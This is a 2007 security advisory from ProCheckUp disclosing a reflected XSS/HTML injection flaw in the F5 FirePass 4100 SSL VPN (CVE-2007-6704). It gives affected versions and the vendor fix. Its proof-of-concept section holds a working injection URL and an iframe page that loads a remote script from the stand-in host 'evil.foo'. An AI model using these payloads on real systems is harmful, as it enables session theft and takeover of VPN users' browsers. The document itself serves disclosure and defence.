by

Cross-site Scriptiang (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.activation.php3' server-side script

Vulnerability found:
19 June 2007

Severity level:
Medium/High

Credits:
Adrian Pastor and Jan Fry of ProCheckUp Ltd (www.procheckup.com). With thanks to Petko D. Petkov for suggesting the eval(name) technique.

Description:
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.activation.php3" server-side script.
No authentication is required to exploit this vulnerability.

Consequences

An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.

CVE reference

CVE-2007-6704

Successfully tested on

version 5.5.2
F5 Networks has confirmed the following versions to be vulnerable:
FirePass versions 5.4.1 - 5.5.2

FirePass versions 6.0 - 6.0.1

Proof of concept:
https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test</textarea><!--
The payload in the example is
"></script><textarea>HTML_injection_test</textarea><!--
which injects a 'textarea' box
The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('http://www.evil.foo/b' in this case):
<html>
<iframesrc="https://target.tld/my.activation.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name

%29%3C/script%3E%3C%21-- " width ="0%" height="0%" name="xss=document.body.appendChild

(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>
</html>
Successfully tested on:
Server environment:
F5 FirePass 4100
Client environment:
Microsoft Internet Explorer 7.0.5730.11

How to fix:
F5 Networks has issued SOL7923:
https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1
References:
http://www.procheckup.com/Vulnerability_2007.php

http://www.f5.com/products/FirePass/

Legal:
Copyright 2007 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community
for the purpose of alerting them to problems, if and only if, the Bulletin is not edited
or changed in any way, is attributed to Procheckup, and provided such reproduction and/or
distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.